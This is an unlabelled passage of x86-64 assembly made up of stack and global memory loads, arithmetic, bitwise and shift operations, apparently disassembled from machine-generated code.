movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
and eax, ecx
mov rcx, qword [rsp + 0x4f98]
mov word [rcx], ax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x51f8], rax
movzx eax, word [rsp + 0x8b8]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov rcx, qword [rsp + 0x5130]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b70]
movzx eax, word [rax]
mov word [rsp + 0x8d8], ax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f70]
shl rax, cl
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c68]
mov qword [rsp + 0x5200], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5200]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4ef8], rax
mov rax, qword [rsp + 0x4f50]
mov eax, dword [rax]
mov dword [rsp + 0x2b64], eax
mov rax, qword [rsp + 0x4b88]
mov ecx, dword [rsp + 0x2ae8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140113020], ax
movzx eax, byte [0x140113007]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x48]
movzx ecx, byte [rsp + 0x45]
add eax, ecx
mov byte [rsp + 0x34], al
lea rax, [rsp + 0x8a4]
mov qword [rsp + 0x5208], rax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
movsx ecx, byte [0x140114154]
and eax, ecx
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x50e0]
mov rcx, qword [rsp + 0x4e08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b0c]
mov dword [rsp + 0x2b68], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4fd0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5040], rax
lea rax, [rsp + 0x2a88]
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113002], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [rsp + 0x870]
sub eax, ecx
mov word [rsp + 0x8bc], ax
movsx eax, word [rsp + 0x88c]
mov rcx, qword [rsp + 0x4e58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8d0], ax
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x5a], al
movzx eax, byte [rsp + 0x34]
mov rcx, qword [0x1401141c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5110]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x5218], rax
mov eax, dword [rsp + 0x2b08]
mov ecx, dword [rsp + 0x2b24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4ce8], rax
mov eax, dword [rsp + 0x2b30]
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
mov byte [0x1401141bb], al
movzx eax, word [rsp + 0x85c]
movzx ecx, word [rsp + 0x8b8]
or eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
movzx eax, word [rsp + 0x85c]
mov word [rsp + 0x8dc], ax
movsx eax, word [rsp + 0x8c8]
movsx ecx, word [rsp + 0x8c0]
sar eax, cl
mov rcx, qword [rsp + 0x51c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov byte [rcx], al
lea rax, [rsp + 0x5000]
mov qword [rsp + 0x5220], rax
mov rax, qword [rsp + 0x4fc8]
movzx ecx, al
mov rax, qword [rsp + 0x4fa0]
shl rax, cl
mov qword [rsp + 0x51b0], rax
lea rax, [rsp + 0x2aec]
mov qword [rsp + 0x5228], rax
mov eax, dword [rsp + 0x2b50]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5168]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8c4]
mov word [rsp + 0x8e0], ax
lea rax, [rsp + 0x34]
mov qword [0x1401141f8], rax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x4f40]
mov byte [rcx], al
mov rax, qword [rsp + 0x5130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ac]
and eax, ecx
mov word [rsp + 0x848], ax
lea rax, [rsp + 0x37]
mov qword [rsp + 0x5230], rax
mov rax, qword [rsp + 0x4b88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e08]
mov qword [rsp + 0x5238], rax
mov rax, qword [rsp + 0x5040]
mov rcx, qword [rsp + 0x5000]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dd8]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5130]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113024], ax
mov rax, qword [rsp + 0x50f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
lea rax, [rsp + 0x49]
mov qword [rsp + 0x5240], rax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x858]
sub eax, ecx
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x5108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ae8], eax
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x5248], rax
mov rax, qword [rsp + 0x50f0]
mov rcx, qword [rsp + 0x50c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x4ed8]
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x4eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3c]
or eax, ecx
mov byte [0x140113017], al
movzx eax, word [rsp + 0x8dc]
movzx ecx, word [rsp + 0x8b8]
xor eax, ecx
mov word [rsp + 0x89c], ax
lea rax, [rsp + 0x8a4]
mov qword [rsp + 0x5258], rax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x874]
sar eax, cl
mov word [rsp + 0x854], ax
mov eax, dword [rsp + 0x2af4]
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [rsp + 0x5000]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x4bf8]
mov qword [rsp + 0x5260], rax
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2b08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aec], eax
movsx eax, word [rsp + 0x8c8]
mov rcx, qword [rsp + 0x50a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8d8], ax
movzx eax, word [rsp + 0x8ac]
mov rcx, qword [rsp + 0x4bc0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
lea rax, [rsp + 0x32]
mov qword [rsp + 0x5268], rax
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x3c]
sub eax, ecx
mov byte [rsp + 0x58], al
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ac]
add eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b44], eax
lea rax, [rsp + 0x5250]
mov qword [rsp + 0x5270], rax
mov rax, qword [rsp + 0x4ff8]
mov ecx, dword [rsp + 0x2b64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a98], eax
mov rax, qword [rsp + 0x5180]
mov rax, qword [rax]
mov qword [rsp + 0x5278], rax
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x51b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14011303c], ax
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
xor eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ed0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34]
or eax, ecx
mov byte [rsp + 0x49], al
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x5d], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x89c]
sar eax, cl
mov rcx, qword [rsp + 0x5148]
mov word [rcx], ax
lea rax, [rsp + 0x2b04]
mov qword [rsp + 0x5280], rax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4ff8]
mov qword [rsp + 0x5288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5288]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x51a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ef8]
mov qword [rsp + 0x5290], rax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b80], rax
movsx eax, word [0x140113034]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113018], ax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51d0]
mov byte [rcx], al
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5298], rax
mov rax, qword [rsp + 0x4fe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x33], al
lea rax, [rsp + 0x39]
mov qword [rsp + 0x52a0], rax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2af8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a98], eax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x5000]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f70]
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x4ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
add eax, ecx
mov rcx, qword [0x1401141a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x888]
add eax, ecx
mov word [rsp + 0x8dc], ax
movzx eax, word [rsp + 0x8b0]
mov word [rsp + 0x8e4], ax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x5278]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fa0], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x52b0], rax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b00]
shl eax, cl
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
lea rax, [rsp + 0x47]
mov qword [0x140114200], rax
mov rax, qword [rsp + 0x5100]
movzx eax, word [rax]
mov word [rsp + 0x8e8], ax
movzx eax, byte [rsp + 0x4e]
mov rcx, qword [0x1401141d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x31], al
lea rax, [rsp + 0x89c]
mov qword [rsp + 0x52b8], rax
movsx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x5230]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e60]
mov qword [rsp + 0x52c0], rax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4e78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b6c], eax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x52c8], rax
mov rax, qword [0x1401141f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a]
add eax, ecx
mov byte [0x1401141ba], al
movsx eax, word [rsp + 0x878]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
lea rax, [rsp + 0x3a]
mov qword [rsp + 0x52d0], rax
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8d4]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x870], ax
mov rax, qword [rsp + 0x5120]
mov eax, dword [rax]
mov dword [rsp + 0x2b74], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x51b0], rax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov dword [rsp + 0x2b78], eax
mov rax, qword [rsp + 0x4ff0]
mov rcx, qword [rsp + 0x4f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ba0], rax
lea rax, [rsp + 0x850]
mov qword [0x140114208], rax
movzx eax, word [rsp + 0x8cc]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x848], ax
movzx eax, word [rsp + 0x8c0]
mov word [rsp + 0x8ec], ax
movsx eax, byte [0x140114155]
mov rcx, qword [rsp + 0x51f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
lea rax, [rsp + 0x46]
mov qword [rsp + 0x52d8], rax
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5108]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b00]
mov dword [rsp + 0x2b7c], eax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4fc8]
shl rax, cl
mov qword [rsp + 0x4ec8], rax
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x4f78]
mov qword [rsp + 0x52e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x52e0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x4c00], rax
movzx eax, word [rsp + 0x888]
movzx ecx, word [rsp + 0x870]
and eax, ecx
mov word [section..data], ax
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x5f], al
movsx eax, word [rsp + 0x8a4]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5020]
movzx eax, byte [rax]
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x52a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
add eax, ecx
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x5280]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b04], eax
lea rax, [rsp + 0x50d0]
mov qword [rsp + 0x52e8], rax
mov eax, dword [rsp + 0x2b7c]
mov ecx, dword [rsp + 0x2af4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fd8]
mov rax, qword [rax]
mov qword [rsp + 0x52f0], rax
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x894]
add eax, ecx
mov word [rsp + 0x884], ax
movzx eax, word [rsp + 0x850]
mov word [0x140114210], ax
movzx eax, byte [rsp + 0x49]
mov rcx, qword [rsp + 0x4f88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4c], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x5030]
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x5010]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b44]
movzx ecx, al
mov eax, dword [rsp + 0x2b0c]
shl eax, cl
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x2b80], eax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8d0], ax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
xor eax, ecx
mov word [0x140113040], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x62], al
movsx eax, byte [rsp + 0x38]
movsx ecx, byte [rsp + 0x55]
sar eax, cl
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x4e80]
movzx eax, word [rax]
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x4f48]
mov rcx, qword [rsp + 0x52f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x52a8], rax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x2b44]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4bb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov qword [rsp + 0x5300], rax
mov eax, dword [rsp + 0x2b80]
mov ecx, dword [rsp + 0x2b30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5168]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
mov word [rsp + 0x8f4], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401141e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x3e]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39], al
movsx eax, word [rsp + 0x8d8]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e8], ax
lea rax, [rsp + 0x49]
mov qword [rsp + 0x5308], rax
mov rax, qword [rsp + 0x4e48]
mov ecx, dword [rsp + 0x2b18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x4c58]
mov rax, qword [rax]
mov qword [rsp + 0x5310], rax
mov rax, qword [rsp + 0x5040]
mov rcx, qword [rsp + 0x4ef8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b2c]
mov ecx, dword [rsp + 0x2b10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5298]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140113044], ax
mov rax, qword [0x140114190]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3b]
or eax, ecx
mov byte [rsp + 0x3f], al
lea rax, [rsp + 0x5e]
mov qword [rsp + 0x5318], rax
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b68]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x880], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x51c0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
mov rax, qword [rsp + 0x5278]
mov qword [rsp + 0x5320], rax
mov eax, dword [rsp + 0x2b54]
movzx ecx, al
mov eax, dword [rsp + 0x2aec]
shl eax, cl
mov rcx, qword [rsp + 0x4d58]
mov dword [rcx], eax
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0x5328], rax
mov rax, qword [rsp + 0x5210]
mov rcx, qword [rsp + 0x4f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
mov rcx, qword [0x1401141d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113013], al
movzx eax, word [rsp + 0x894]
mov word [rsp + 0x8f8], ax
mov rax, qword [rsp + 0x5268]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x51d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x48], al
movzx eax, word [rsp + 0x8b8]
mov word [rsp + 0x8fc], ax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x4f00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5000], rax
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0x5330], rax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x50e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b80], rax
mov eax, dword [rsp + 0x2b04]
mov ecx, dword [rsp + 0x2b08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x52c8]
mov dword [rcx], eax
lea rax, [rsp + 0x858]
mov qword [0x140114218], rax
movzx eax, byte [0x140113017]
mov byte [rsp + 0x64], al
movzx eax, word [rsp + 0x8ac]
movzx ecx, word [rsp + 0x870]
add eax, ecx
mov word [rsp + 0x8d4], ax
lea rax, [rsp + 0x8ec]
mov qword [rsp + 0x5338], rax
movsx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0x5230]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x52a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x5098]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b80], rax
lea rax, [rsp + 0x4b28]
mov qword [rsp + 0x5340], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov dword [rcx], eax
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x5348], rax
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140113040], ax
movzx eax, byte [0x140113003]
movzx ecx, byte [rsp + 0x60]
or eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5068]
movzx eax, byte [rax]
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0x8e0]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x5268]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d]
xor eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
mov qword [rsp + 0x5350], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x4eb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5138], rax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov dword [rsp + 0x2b84], eax
mov eax, dword [rsp + 0x2ae4]
mov ecx, dword [rsp + 0x2b2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5120]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [0x140114156]
add eax, ecx
mov byte [0x140113006], al
mov rax, qword [rsp + 0x5160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8f0]
and eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
movzx eax, word [rsp + 0x894]
mov word [rsp + 0x900], ax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x56]
sub eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f0]
mov word [rsp + 0x904], ax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x4fd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5300], rax
lea rax, [rsp + 0x2b04]
mov qword [rsp + 0x5358], rax
mov rax, qword [rsp + 0x5218]
mov rcx, qword [rsp + 0x4f48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov word [0x140114220], ax
lea rax, [0x140113007]
mov qword [rsp + 0x5360], rax
movsx eax, byte [rsp + 0x30]
movsx ecx, byte [rsp + 0x47]
sub eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
movsx ecx, word [0x140113014]
xor eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2b44]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a98]
mov dword [rsp + 0x2b88], eax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50e0]
mov qword [rsp + 0x5368], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5368]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
lea rax, [rsp + 0x5040]
mov qword [rsp + 0x5370], rax
movzx eax, word [rsp + 0x8bc]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140113030], ax
movsx eax, byte [0x140114157]
movsx ecx, byte [rsp + 0x53]
and eax, ecx
mov byte [rsp + 0x39], al
mov rax, qword [rsp + 0x4c98]
movsx eax, word [rax]
